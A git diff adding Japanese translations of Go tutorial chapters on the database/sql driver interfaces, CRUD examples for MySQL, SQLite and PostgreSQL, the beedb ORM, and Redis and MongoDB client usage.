+NumInput関数は現在予約されている引数の個数を返します。>=0が返された時はデータベースドライバがインテリジェントに使用側の引数を検査します。データベースドライバパッケージが予約された引数を知らない場合は-1を返します。 + +Exec関数はPrepareで準備の整ったsqlを実行します。引数を渡し、update/insertといった操作を実行します。Resultデータを返します。 + +Query関数はPrepareで準備の整ったsqlを実行します。必要な引数を渡し、select操作を実行します。Rowsリザルトセットを返します。 + + +## driver.Tx +トランザクション処理には一般的に2つのプロセスがあります。コミットかロールバックです。データベースドライバの中ではこの2つの関数を実装すれば問題ありません。 + + type Tx interface { + Commit() error + Rollback() error + } + +この2つの関数のうちひとつはコミットに使用され、もうひとつはロールバックに使用されます。 + +## driver.Execer +これはConnが実装できるインターフェースです。 + + type Execer interface { + Exec(query string, args []Value) (Result, error) + } + +もしこのインターフェースの定義がなければ、DB.Execがコールされます。つまり、まずPrepareがコールされStmtを返し、その後StmtのExecが実行され、Stmtが閉じられます。 + +## driver.Result +これはUpdate/Insertといった操作が行った結果を返すインターフェースの定義です。 + + type Result interface { + LastInsertId() (int64, error) + RowsAffected() (int64, error) + } + +LastInsertId関数はデータベースによって実行された挿入操作によって得られるインクリメントIDを返します。 + +RowsAffected関数はquery操作で影響されるデータの数を返します。 + +## driver.Rows +Rowsは実行された検索のリザルトセットのインターフェースの定義です + + type Rows interface { + Columns() []string + Close() error + Next(dest []Value) error + } + +Columns関数はデータベースの検索におけるフィールド情報を返します。これが返すsliceとsql検索のフィールドは一つ一つが対応しており、すべての表のフィールドを返すわけではありません。 + +Close関数はRowsイテレータを閉じるために用いられます。 + +Next関数はひとつのデータを返すのに用いられます。データはdestに代入され、destの中の要素はstringを除いてdriver.Valueの値でなければなりません。返されるデータの中のすべてのstringは[]byteに変換される必要があります。もし最後にデータが無い場合、Next関数はio.EOFを返します。 + + +## driver.RowsAffected +RowsAffestedは実はint64のエイリアスです。しかしResultインターフェースを実装していますので、低レイヤーでResultの表示メソッドを実装するために用いられます。 + + type RowsAffected int64 + + func (RowsAffected) LastInsertId() (int64, error) + + func (v RowsAffected) RowsAffected() (int64, error) + +## driver.Value +Valueは実は空のインターフェースです。どのようなデータも格納することができます。 + + type Value interface{} + +driveのValueはドライバが必ず操作できるValueです。Valueがnilでなければ、下のいずれかとなります + + int64 + float64 + bool + []byte + string [*]Rows.Nextが返すものを除いてstringではありません。 + time.Time + +## driver.ValueConverter +ValueConverterインターフェースはどのように普通の値をdriver.Valueのインターフェースの変換するか定義されています。 + + type ValueConverter interface { + ConvertValue(v interface{}) (Value, error) + } + +開発しているデータベースドライバパッケージではこのインターフェースの関数が多くの場所で利用されています。このValueConverterにはメリットがたくさんあります: + +- driver.valueはデータベース表の対応するフィールドに特化されています。たとえばint64のデータがどのようにデータベース表のunit16フィールドに変換されるかといったことです。 +- データベースの検索結果をdriver.Value値に変換します。 +- scan関数ではどのようにしてdriver.Valueの値をユーザが定義した値に変換するか + +## driver.Valuer +Valueインターフェースではdriver.Valueをひとつ返すメソッドが定義されています。 + + type Valuer interface { + Value() (Value, error) + } + +たくさんの型がこのValueメソッドを実装しています。自分自身とdriver.Valueに特化して利用されます。  + +上の説明によって、ドライバの開発について基本的なことがお分かりいただけたかとおもいます。このドライバはただこれらインターフェースを実装して追加・削除・検索・修正といった基本操作を可能にするだけです。あとは対応するデータベースに対してデータをやりとりするなど細かい問題が残っています。ここでは細かく述べることはしません。 + +## database/sql +database/sqlではdatabase/sql/driverにて提供されるインターフェースの基礎の上にいくつかもっと高い階層のメソッドを定義しています。データベース操作を容易にし、内部でconn poolを実装しています。 + + type DB struct { + driver driver.Driver + dsn string + mu sync.Mutex // protects freeConn and closed + freeConn []driver.Conn + closed bool + } + +Open関数がDBオブジェクトを返しています。この中にはfreeConnがあり、これがまさに簡単な接続プールのことです。この実装はとても簡単でまた簡素です。Db.prepareを実行する際`defer db.putConn(ci, err)`を行います。つまりこの接続を接続プールに放り込むのです。毎回connをコールする際はまずfreeConnの長さが0よりも大きいか確認し、0よりも大きかった場合connを再利用してもよいことを示しています。直接使ってかまいません。もし0以下であった場合はconnを作成してこれを返します。 + + +## links + * [目次]() + * 前へ: [データベースへのアクセス](<05.0.md>) + * 次へ: [MySQLデータベースの使用](<05.2.md>) diff --git a/ja/ebook/05.2.md b/ja/ebook/05.2.md new file mode 100644 index 00000000..7998e139 --- /dev/null +++ b/ja/ebook/05.2.md @@ -0,0 +1,137 @@ +# 5.2 MySQL データベースの使用 +現在Internet上で流行しているホームページフレームワークの方法はLAMPです。この中のMがMySQLです。データベースとして、MySQLは無料、オープンソース、使用方法において多くのWeb開発のバックエンドのデータベースストレージエンジンとして優位に立ってきました。 + +## MySQLドライバ +GoではMySQLをサポートしたドライバが現在比較的多く、以下のようにいくつかが存在します。あるものはdatabase/sql標準をサポートしており、またあるものは独自でインターフェースの実装を採用しているものもあります。よく使われるものは以下のいくつかです: + +- https://github.com/go-sql-driver/mysql database/sqlをサポートしており、すべてgoで書かれています。 +- https://github.com/ziutek/mymysql database/sqlをサポートしており、独自に定義されたインターフェースもサポートしています。すべてgoで書かれています。 +- https://github.com/Philio/GoMySQL database/sqlをサポートしていません。独自のインターフェースで、すべてgoで書かれています。 + +以降の例では私ははじめのドライバを使ってまいります。(現在の項目でもこのドライバを使います)、またこのドライバの利用をみなさんにお勧めします。理由は: + +- このドライバは比較的新しく、メンテナンスも良いほうです。 +- 完全にdatabase/sqlインターフェースをサポートします。 +- keepaliveをサポートしています。継続した接続を保持しています。[星星](http://www.mikespook.com)がforkしたmymysqlもkeepaliveをサポートしているとはいえ、スレッドセーフではありません。これは低いレイヤーからkeepaliveをサポートしています。 + +## コード例 +続くいくつかの節では同じデータベーススキーマを採用します:データベースtest、ユーザ名userinfo、関連ユーザ情報テーブルuserdetail。 + + CREATE TABLE `userinfo` ( + `uid` INT(10) NOT NULL AUTO_INCREMENT, + `username` VARCHAR(64) NULL DEFAULT NULL, + `departname` VARCHAR(64) NULL DEFAULT NULL, + `created` DATE NULL DEFAULT NULL, + PRIMARY KEY (`uid`) + ) + + CREATE TABLE `userdetail` ( + `uid` INT(10) NOT NULL DEFAULT '0', + `intro` TEXT NULL, + `profile` TEXT NULL, + PRIMARY KEY (`uid`) + ) + +以下の例ではどのようにしてdatabase/sqlインターフェースを使ってデータベースのテーブルに対し、追加・削除・修正・検索操作を行うか示しています。 + + package main + + import ( + _ "github.com/Go-SQL-Driver/MySQL" + "database/sql" + "fmt" + //"time" + ) + + func main() { + db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8") + checkErr(err) + + //データの挿入 + stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?") + checkErr(err) + + res, err := stmt.Exec("astaxie", "研究開発部門", "2012-12-09") + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println(id) + //データの更新 + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + //データの検索 + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } + + //データの削除 + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + db.Close() + + } + + func checkErr(err error) { + if err != nil { + panic(err) + } + } + + +上のコードで、GoがMysqlデータベースを操作するのが非常に簡単だとお分かりいただけたかと思います。 + +キーとなるいくつかの関数についてご説明します: + +sql.Open()関数は登録済みのデータベースドライバを開くために使用されます。Go-MySQL-Driverの中でmysqlのデータベースドライバを登録し、2つ目の引数はDSN(Data Source Name)です。これはGo-MySQL-Driverが定義するデータベース接続と設定情報です。以下のシンタックスをサポートします: + + user@unix(/path/to/socket)/dbname?charset=utf8 + user:password@tcp(localhost:5555)/dbname?charset=utf8 + user:password@/dbname + user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname + +db.Prepare()関数はsql操作を実行するプリペアードステートメントを返すために用いられます。その後、準備完了の実行状態を返します。 + +db.Query()関数は直接Sqlを実行しRows結果を返すために使われます。 + +stmt.Exec()関数はstmtが用意されたSQL文を実行するために用いられます。 + +渡される引数がどれも=?に対応するデータであることがわかるかとおもいます。このような方法である程度SQLインジェクションを防止することができます。 + + + +## links + * [目次]() + * 前へ: [database/sqlインターフェース](<05.1.md>) + * 次へ: [SQLiteデータベースの使用](<05.3.md>) diff --git a/ja/ebook/05.3.md b/ja/ebook/05.3.md new file mode 100644 index 00000000..736a2687 --- /dev/null +++ b/ja/ebook/05.3.md @@ -0,0 +1,118 @@ +# 5.3 SQLiteデータベースの使用 + +SQLiteはオープンソースの組み込み式リレーショナルデータベースです。独立しており、設定なしでトランザクションのSQLデータベースエンジンをサポートします。非常にポータブルで簡単に利用でき、コンパクトで効率が高く、信頼性があります。他のデータベース管理システムとは異なり、SQLiteのインストールと実行は非常に簡単です。多くの場合は、ただSQLiteのバイナリファイルを用意するだけですぐに作成、接続、使用することができます。もしあなたが現在組み込み式データベースかソリューションをお探しであれば、SQLいては絶対に考慮するに値します。SQLiteはいわばオープンソースのAccessのようなものです。 + +## ドライバ +Goがサポートするsqliteのドライバも比較的多いのですが、大部分はdatabase/sqlインターフェースをサポートしていません。 + +- https://github.com/mattn/go-sqlite3 database/sqlインターフェースをサポートしています。cgo(cgoに関する情報はオフィシャルドキュメントかこの本の最後の章をご参考ください)に基づいて記述されています。 +- https://github.com/feyeleanor/gosqlite3 database/sqlインターフェースをサポートしていません。cgoに基いて記述されています。 +- https://github.com/phf/go-sqlite3 database/sqlインターフェースをサポートしていません。cgoに基いて記述されています。 + +現在database/sqlをサポートしているSQLいてデータベースドライバは一つ目だけです。私も現在これを採用してプロジェクトで開発しています。標準インターフェースを採用することは今後より良いドライバが開発された時に移行できることです。 + +## 実例コード +例に示すデータベーススキーマは以下の通りです。対応するテーブル作成SQL: + + CREATE TABLE `userinfo` ( + `uid` INTEGER PRIMARY KEY AUTOINCREMENT, + `username` VARCHAR(64) NULL, + `departname` VARCHAR(64) NULL, + `created` DATE NULL + ); + + CREATE TABLE `userdeatail` ( + `uid` INT(10) NULL, + `intro` TEXT NULL, + `profile` TEXT NULL, + PRIMARY KEY (`uid`) + ); + +下のGoプログラムがどのようにデータベースのテーブルのデータを操作するか見てみましょう:追加・削除・修正・検索 + + package main + + import ( + "database/sql" + "fmt" + _ "github.com/mattn/go-sqlite3" + ) + + func main() { + db, err := sql.Open("sqlite3", "./foo.db") + checkErr(err) + + //データの挿入 + stmt, err := db.Prepare("INSERT INTO userinfo(username, departname, created) values(?,?,?)") + checkErr(err) + + res, err := stmt.Exec("astaxie", "研究開発部門", "2012-12-09") + checkErr(err) + + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println(id) + //データの更新 + stmt, err = db.Prepare("update userinfo set username=? where uid=?") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", id) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + //データの検索 + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } + + //データの削除 + stmt, err = db.Prepare("delete from userinfo where uid=?") + checkErr(err) + + res, err = stmt.Exec(id) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + db.Close() + + } + + func checkErr(err error) { + if err != nil { + panic(err) + } + } + + +上のコードとMySQLの例の中のコードはほとんどまったく同じです。唯一異なるのはドライバのインポート部分です。`sql.Open`のコールではSQLiteの方法で開きます。 + + +>sqlite管理ツール:http://sqliteadmin.orbmu2k.de/ + +>簡単にデータベース管理を新規作成することができます。 + +## links + * [目次]() + * 前へ: [MySQLデータベースの使用](<05.2.md>) + * 次へ: [PostgreSQLデータベースの使用](<05.4.md>) diff --git a/ja/ebook/05.4.md b/ja/ebook/05.4.md new file mode 100644 index 00000000..8012669a --- /dev/null +++ b/ja/ebook/05.4.md @@ -0,0 +1,124 @@ +# 5.4 PostgreSQLデータベースの使用 + +PostgreSQLはフリーなオブジェクト-リレーショナルデータベースサーバ(データベース管理システム)です。これは活発なBSDライクなライセンスで公開されています。他のオープンソースなデータベースシステム(MySQLやFirebird)やOracle、Sybase、IBMのDB2やMicrosoft SQL Serverといったプロプライエタリなシステムに対する選択肢の一つです。 + +PostgreSQLとMSQLを比較すると、これは少々巨大です。これはOracleの代替として設計されているためです。そのため、企業のアプリケーションではPostgreSQLを選択することが賢い選択の一つとなっています。 + +MySQLはOracleに買収され、現在徐々にクローズされつつあります。(MySQL 5.5.31以降のすべてのバージョンがGPLライセンスを順守していません)。これに鑑み、将来我々もプロジェクトのバックエンドのデータベースとしてMySQLではなくPostgreSQLを選択することになるかもしれません。 + +## ドライバ +GoはPostgreSQLをサポートしたドライバも非常に多く実装されています。国外では多くの人が開発でこのデータベースを使用しているためです。 + +- https://github.com/bmizerany/pq database/sqlドライバをサポートしています。純粋にGoで書かれています。 +- https://github.com/jbarham/gopgsqldriver database/sqlドライバをサポートしています。純粋にGoで書かれています。 +- https://github.com/lxn/go-pgsql database/sqlドライバをサポートしています。純粋にGoで書かれています。 + +下の例では一つ目のドライバを採用してご説明します。これは使用している人が最も多く、githubでも比較的活発であるからです。 + +## 実例コード +データベースのテーブル作成文: + + CREATE TABLE userinfo + ( + uid serial NOT NULL, + username character varying(100) NOT NULL, + departname character varying(500) NOT NULL, + Created date, + CONSTRAINT userinfo_pkey PRIMARY KEY (uid) + ) + WITH (OIDS=FALSE); + + CREATE TABLE userdeatail + ( + uid integer, + intro character varying(100), + profile character varying(100) + ) + WITH(OIDS=FALSE); + +下ではGoがどのようにデータベースのテーブルのデータを操作するか見て行きましょう:追加・削除・修正・検索 + +package main + + import ( + "database/sql" + "fmt" + _ "github.com/bmizerany/pq" + ) + + func main() { + db, err := sql.Open("postgres", "user=astaxie password=astaxie dbname=test sslmode=disable") + checkErr(err) + + //データの挿入 + stmt, err := db.Prepare("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) RETURNING uid") + checkErr(err) + + res, err := stmt.Exec("astaxie", "研究開発部門", "2012-12-09") + checkErr(err) + + //pgはこの関数をサポートしていません。MySQLのインクリメンタルなIDのようなものが無いためです。 + id, err := res.LastInsertId() + checkErr(err) + + fmt.Println(id) + + //データの更新 + stmt, err = db.Prepare("update userinfo set username=$1 where uid=$2") + checkErr(err) + + res, err = stmt.Exec("astaxieupdate", 1) + checkErr(err) + + affect, err := res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + //データの検索 + rows, err := db.Query("SELECT * FROM userinfo") + checkErr(err) + + for rows.Next() { + var uid int + var username string + var department string + var created string + err = rows.Scan(&uid, &username, &department, &created) + checkErr(err) + fmt.Println(uid) + fmt.Println(username) + fmt.Println(department) + fmt.Println(created) + } + + //データの削除 + stmt, err = db.Prepare("delete from userinfo where uid=$1") + checkErr(err) + + res, err = stmt.Exec(1) + checkErr(err) + + affect, err = res.RowsAffected() + checkErr(err) + + fmt.Println(affect) + + db.Close() + + } + + func checkErr(err error) { + if err != nil { + panic(err) + } + } + +上のコードによって、PostgreSQLが`$1`や`$2といった方法によって引数を渡している様子がお分かりいただけるかとおもいます。MySQLの中の`?`ではありません。また、sql.Openではdsn情報のシンタックスがMySQLのドライバでのdsnシンタックスと異なります。そのため、使用される際はこの違いにご注意ください。 + +また、pgはLastInsertId関数をサポートしていません。PostgreSQLの内部ではMySQLのインクリメンタルなIDを返すといった実装がないためです。その他のコードはほとんど同じです。 + +## links + * [目次]() + * 前へ: [SQLiteデータベースの使用](<05.3.md>) + * 次へ: [beedbライブラリを使ってORM開発を行う](<05.5.md>) diff --git a/ja/ebook/05.5.md b/ja/ebook/05.5.md new file mode 100644 index 00000000..620328b8 --- /dev/null +++ b/ja/ebook/05.5.md @@ -0,0 +1,249 @@ +# 5.5 beedbライブラリを使用してORM開発を行う +beedbは私が開発したGoによるORM操作のためのライブラリです。これはGo styleの方法でデータベースに対し操作を行います。structからテーブルの記録へのマッピングを実現します。beedbは十分軽量なGo ORMフレームワークです。このライブラリを開発した動機は複雑なORM学習曲線を引き下げたいと思ったからです。出来る限りORMの実行効率と機能の間でバランスをとったつもりです。beedbは現在オープンソースのGo ORMフレームワークの中で比較的完全なライブラリのひとつです。また、実行効率も相当良く、機能も基本的に需要を満足させています。しかし現在はまだアソシエーション関係をサポートしておらず、これは次のバージョンの主なポイントです。 + +beedbはdatabase/sql標準インターフェースをサポートしたORMライブラリです。そのため、理論上では、データベースドライバがdatabase/sqlインターフェースをサポートしていさえすればすんなりbeedbを使うことができます。現在までに私がテストしたドライバパッケージは以下のとおり: + +Mysql:github.com/ziutek/mymysql/godrv[*] + +Mysql:code.google.com/p/go-mysql-driver[*] + +PostgreSQL:github.com/bmizerany/pq[*] + +SQLite:github.com/mattn/go-sqlite3[*] + +MS ADODB: github.com/mattn/go-adodb[*] + +ODBC: bitbucket.org/miquella/mgodbc[*] + +## インストール + +beedbはgo get方式によるインストールをサポートしています。これはGo Styleの方式に完全に則って実装されています。 + + go get github.com/astaxie/beedb + +## 初期化の方法 +まず対応するデータベースドライバパッケージをimportする必要があります。database/sql標準インターフェースパッケージおよびbeedbパッケージです: + + import ( + "database/sql" + "github.com/astaxie/beedb" + _ "github.com/ziutek/mymysql/godrv" + ) + +必要なパッケージをインポートした後、データベースへの接続を開く必要があります。その後beedbオブジェクト(たとえばMySQLとします)を作成します + + db, err := sql.Open("mymysql", "test/xiemengjun/123456") + if err != nil { + panic(err) + } + orm := beedb.New(db) + +beedbのNew関数は2つの引数を必要とします。一つ目の引数は標準インターフェースのdbで、二つ目の引数は利用するデータベースエンジンです。もしあなたが使用するデータベースエンジンがMySQL/Sqliteだった場合、二つ目の引数は省略してもかまいません。 + +もしSQLServerをお使いであれば、このように初期化する必要があります: + + orm = beedb.New(db, "mssql") + +もしPostgreSQLをお使いであれば、初期化は以下のようになります: + + orm = beedb.New(db, "pg") + +現在beedbはプリントデバッグをサポートしていますので、下のコードでデバッグを行うことができます。 + + beedb.OnDebug=true + +以降の例では前のデータベースのテーブルUserinfoを採用します。まず目的のstructを作成します。 + + type Userinfo struct { + Uid int `PK` //もしテーブルのプライマリキーがidでなければ、pkコメントを追加する必要があります。このフィールドがプライマリキーであることを明示します。 + Username string + Departname string + Created time.Time + } + +>ご注意ください。beedbはキャメルケースの命名規則を自動でスネークケースのフィールドに変換します。たとえば`UserInfo`という名前のStructを定義した場合、低レイヤで実装される際に`user_info`と変換されます。フィールドの命名もこのルールに従います。 + +## データの挿入 +下のコードはどのように記録を挿入するか示しています。我々が操作しているのはstructオブジェクトで、元々のsql文ではありません。Saveインターフェースをコールしてデータをデータベースに保存します。 + + var saveone Userinfo + saveone.Username = "Test Add User" + saveone.Departname = "Test Add Departname" + saveone.Created = time.Now() + orm.Save(&saveone) + +挿入後、挿入に成功した際のインクリメンタルなIDが`saveone.Uid`です。Saveインターフェースは自動的に保存します。 + +beedbインターフェースはもう一種類の挿入の方法を提供しています。mapデータ挿入です。 + + add := make(map[string]interface{}) + add["username"] = "astaxie" + add["departname"] = "cloud develop" + add["created"] = "2012-12-02" + orm.SetTable("userinfo").Insert(add) + +複数のデータを挿入 + + addslice := make([]map[string]interface{}) + add:=make(map[string]interface{}) + add2:=make(map[string]interface{}) + add["username"] = "astaxie" + add["departname"] = "cloud develop" + add["created"] = "2012-12-02" + add2["username"] = "astaxie2" + add2["departname"] = "cloud develop2" + add2["created"] = "2012-12-02" + addslice =append(addslice, add, add2) + orm.SetTable("userinfo").InsertBatch(addslice) + +上の操作方法はメソッドチェーンによる検索にすこし似ています。jqueryに詳しい方はとても馴染みがあるのではないでしょうか。毎回コールされるmethodはすべてもともとのormオブジェクトを返しているので、継続してオブジェクトの他のmethodをコールすることができます。 + +上でコールしたSetTable関数はORMに対して、これから実行するこのmapに対応したデータベーステーブルが`userinfo`であると明示しています。 + +## データの更新 +つづけて上の例で更新操作をご覧にいれましょう。現在saveoneのプライマリキーはすでに値が存在します。この時saveインターフェースをコールして、beedb内は自動的にupdateをコールすることによってデータの更新を行います。挿入操作ではありません。 + + saveone.Username = "Update Username" + saveone.Departname = "Update Departname" + saveone.Created = time.Now() + orm.Save(&saveone) //現在saveoneにはプライマリキーがあります。更新操作を行います。 + +データの更新はmap操作の直接の使用をサポートしています。 + + t := make(map[string]interface{}) + t["username"] = "astaxie" + orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t) + +ここではいくつかのbeedbの関数をコールしてみます。 + +SetPK:ORMに対して、データベースのテーブル`userinfo`のプライマリキーが`uid`であることを明示します。 + +Where:条件を設定するために用いられます。複数の引数をサポートし、第一引数がもし整数であった場合、Where("プライマリキー=?",値)がコールされたものとなります。 +Update関数はmap型のデータを受け取り、データの更新を実行します。 + +## データの検索 +beedbの検索インターフェースは使いやすく、具体的な使用方法は下の例をご覧ください。 + +例1、プライマリキーによってデータを取得: + + var user Userinfo + //Whereは2つの引数を受け取ります。int型の引数をサポートします。 + orm.Where("uid=?", 27).Find(&user) + + +例2: + + var user2 Userinfo + orm.Where(3).Find(&user2) // これは上の省略版です。プライマリキーは省略できます。 + +例3、プライマリキーではない条件: + + var user3 Userinfo + //Whereは2つの引数を受け取ります。文字列型の引数をサポートします。 + orm.Where("name = ?", "john").Find(&user3) +例4、もっと複雑な条件: + + var user4 Userinfo + //Whereは3つの引数をサポートします。 + orm.Where("name = ? and age < ?", "john", 88).Find(&user4) + + +下のインターフェースを通して複数のデータを取得できます。例をご覧ください。 + +例1、条件id>3にもとづいて、20からはじまる10件のデータを取得します。 + + var allusers []Userinfo + err := orm.Where("id > ?", "3").Limit(10,20).FindAll(&allusers) + +例2、limitの第二引数は省略できます。デフォルトは0から開始となります。10件のデータを取得します。 + + var tenusers []Userinfo + err := orm.Where("id > ?", "3").Limit(10).FindAll(&tenusers) + +例3、すべてのデータを取得します。 + + var everyone []Userinfo + err := orm.OrderBy("uid desc,username asc").FindAll(&everyone) + +上ではLimit関数があります。これは検索結果の数をコントロールするのに用いられます。 + +Limit:2つの引数をサポートします。第一引数は検索数を表し、第二引数は取得するデータの開始位置を表しています。デフォルトは0です。 + +OrderBy:この関数は検索をソートするために用いられます。引数はソートの条件である必要があります。 + +上の例では取得するデータが直接structオブジェクトにマッピングされます。もし、データをmapとして取得したいだけであれば、下の方法で実現することができます: + + a, _ := orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap() + +上とこの例の中ではまた新しいインターフェースの関数Selectがでてきました。この関数はいくつのフィールドを検索したいのか定義するために用いられます。デフォルトでは全てのフィールドとなる`*`となります。 + +FindMap()関数は`[]map[string][]byte`型を返します。そのため、自分自身で型変換を行う必要があります。 + +## データの削除 +beedbは豊富なデータ削除インターフェースを備えています。下の例をご覧ください。 + +例1、単一のデータを削除 + + //saveoneは上の例で示したあのsaveoneです。 + orm.Delete(&saveone) + +例2、複数のデータを削除 + + //alluserは上で定義した複数のデータのsliceです。 + orm.DeleteAll(&alluser) + +例3、sqlにしたがってデータを削除 + + orm.SetTable("userinfo").Where("uid>?", 3).DeleteRow() + + +## リレーション検索 +現在beedbはstructのリレーションをサポートしていません。しかしいくつかのアプリケーションはリレーションによる検索を必要としています。そのため、現在beedbは簡単なソリューションを提供しています。 + + a, _ := orm.SetTable("userinfo").Join("LEFT", "userdeatail", "userinfo.uid=userdeatail.uid").Where("userinfo.uid=?", 1).Select("userinfo.uid,userinfo.username,userdeatail.profile").FindMap() + +上のコードでは新しいインターフェースのJoin関数が出て来ました。この関数には3つの引数があります。 + +- 第一引数には:INNER, LEFT, OURTER, CROSS等が入れられます +- 第二匹数は接続するテーブルを表します +- 第三引数は接続の条件を表します + + +## Group ByとHaving +いくつかのアプリケーションがgroup byとhavingの機能を必要としているため、beedbも簡単な実現方法を提供しています。 + + a, _ := orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap() + +上のコードで現れる2つの新しいインターフェースの関数 + +GroupBy:groupbyのフィールドを実行するために用いられます + +Having:havingを実行する際の条件を指定するために用いられます + +## 一歩進んで +現在beedbはすでに多くの国内外からのユーザによってフィードバックを得ています。現在作り直しを考えています。以降ではいくつかの方面で改良が行われる予定です。 + +- interface設計の実装。database/sql/driverの設計に似て、beedbのインターフェースを設計します。その後対応するデータベースのCRUD操作を実現します。 +- リレーショナルデータベースの設計の実現。一対一、一対多、多対多のサポートを実現します。コードは以下のとおり: + + + type Profile struct{ + Nickname string + Mobile string + } + + type Userinfo struct { + Uid int `PK` + Username string + Departname string + Created time.Time + Profile `HasOne` + } + +- 自動的にデータベース、テーブル、インデックスを作成 +- 接続プールの実現、goroutineを採用。 + +## links + * [目次]() + * 前へ: [PostgreSQLデータベースの使用](<05.4.md>) + * 次へ: [NOSQLデータベースの操作](<05.6.md>) diff --git a/ja/ebook/05.6.md b/ja/ebook/05.6.md new file mode 100644 index 00000000..fc6aac61 --- /dev/null +++ b/ja/ebook/05.6.md @@ -0,0 +1,114 @@ +# 5.6 NOSQLデータベースの操作 +NoSQL(Not Only SQL)とは、リレーション型ではないデータベースのことを言います。Web2.0の高まりにしたがって、伝統的なリレーショナルデータベースがWeb2.0ページに使われています。特にとても大きな規模で高度にマルチスレッドなSNS型のWeb2.0の純粋な動的ホームページでは明らかに力不足となっています。多くの解決が難しい問題が暴露され、リレーショナルでないデータベースはその特徴から非常に早く発展してきています。 + +Go言語は21世紀のC言語として、NOSQLもとてもよくサポートしています。現在流行しているNOSQLには主にredis、mongoDB、CassandraとMembase等があります。これらのデータベースはどれも高性能、マルチスレッドといった特徴があり、現在すでに広くあらゆるアプリケーションの中で使用されています。ここでは主にredisとmongoDBの操作についてご説明します。 + +## redis +redisはkey-valueを保存するシステムです。Memcachedに似ていて、保存されるvalue型はもっと多く、string(文字列)、list(リスト)、set(集合)とzset(順序付きset)を含みます。 + +現在redisが最もよく使われているのは新浪のマイクロブログプラットフォームでしょう。その次にFacebookに買収された画像フォーラムであるinstagramがあります。その他有名な[インターネット企業](http://redis.io/topics/whos-using-redis)もそうです。 + +Goは現在redisのドライバで以下をサポートしています +- https://github.com/alphazero/Go-Redis +- http://code.google.com/p/tideland-rdc/ +- https://github.com/simonz05/godis +- https://github.com/hoisie/redis.go + +現在私がforkした最新のドライバではいくつかのbugが修正されています。現在私自身の短縮ドメイン名サービスのプロジェクトの中で使用されています。(毎日200WぐらいのPV数があります。) + +https://github.com/astaxie/goredis + +以降では私がforkしたこのredisドライバでどのようにデータの操作を行うかご紹介します。 + + package main + + import ( + "github.com/astaxie/goredis" + "fmt" + ) + + func main() { + var client goredis.Client + // ポートをredisのデフォルトポートに設定 + client.Addr = "127.0.0.1:6379" + + //文字列操作 + client.Set("a", []byte("hello")) + val, _ := client.Get("a") + fmt.Println(string(val)) + client.Del("a") + + //list操作 + vals := []string{"a", "b", "c", "d", "e"} + for _, v := range vals { + client.Rpush("l", []byte(v)) + } + dbvals,_ := client.Lrange("l", 0, 4) + for i, v := range dbvals { + println(i,":",string(v)) + } + client.Del("l") + } + +redisの操作が非常に簡単だとお分かりいただけたかと思います。実際のプロジェクトの中で使用していますが、性能も非常に高いのです。clientのコマンドとredisのコマンドは基本的に同じです。ですので元のredisの操作と非常によく似ています。 + +## mongoDB + +MongoDBは高性能でオープンソース、モードレスなドキュメント型データベースです。これはリレーショナルデータベースとノンリレーショナルデータベースの間のプロダクトです。ノンリレーショナルデータベースの中では機能が最も豊富で、リレーショナルベースに最もよく似ています。サポートされるデータ形式は非常にルーズで、jsonによく似たbjson形式によってデータを保存します。そのため、比較的複雑なデータを保存することができます。Mongoの最大の特徴は検索言語が非常に強力でその文法がオブジェクト指向の検索文に少し似ていることです。データベースに対してインデックスを設定することもできます。 + +下の図はmysqlとmongoDBの間の対応関係を示しています。非常に簡単だとわかりますが、mongoDBの性能は非常に良いです。 + +![](images/5.6.mongodb.png?raw=true) + +図5.1 MongoDBとMysqlの操作の対応図 + +現在GoでサポートされているmongoDBのもっとも良いドライバは[mgo](http://labix.org/mgo)です。このドライバは現在もっともオフィシャルのpkgになりそうなものです。 + +次にどのようにしてGoからmongoDBを操作するのかご説明します: + + package main + + import ( + "fmt" + "labix.org/v2/mgo" + "labix.org/v2/mgo/bson" + ) + + type Person struct { + Name string + Phone string + } + + func main() { + session, err := mgo.Dial("server1.example.com,server2.example.com") + if err != nil { + panic(err) + } + defer session.Close() + + session.SetMode(mgo.Monotonic, true) + + c := session.DB("test").C("people") + err = c.Insert(&Person{"Ale", "+55 53 8116 9639"}, + &Person{"Cla", "+55 53 8402 8510"}) + if err != nil { + panic(err) + } + + result := Person{} + err = c.Find(bson.M{"name": "Ale"}).One(&result) + if err != nil { + panic(err) + } + + fmt.Println("Phone:", result.Phone) + } + +mgoの操作方法とbeedbの操作方法はほとんど似ていることがわかります。どちらもstructに基づいて操作する方法です。これこそがGo Styleです。 + + + +## links + * [目次]() + * 前へ: [beedbライブラリを使用してORM開発を行う](<05.5.md>) + * 次へ: [概要](<05.7.md>) diff --git a/ja/ebook/05.7.md b/ja/ebook/05.7.md new file mode 100644 index 00000000..33371d44 --- /dev/null +++ b/ja/ebook/05.7.md @@ -0,0 +1,9 @@ +# 5.7 概要 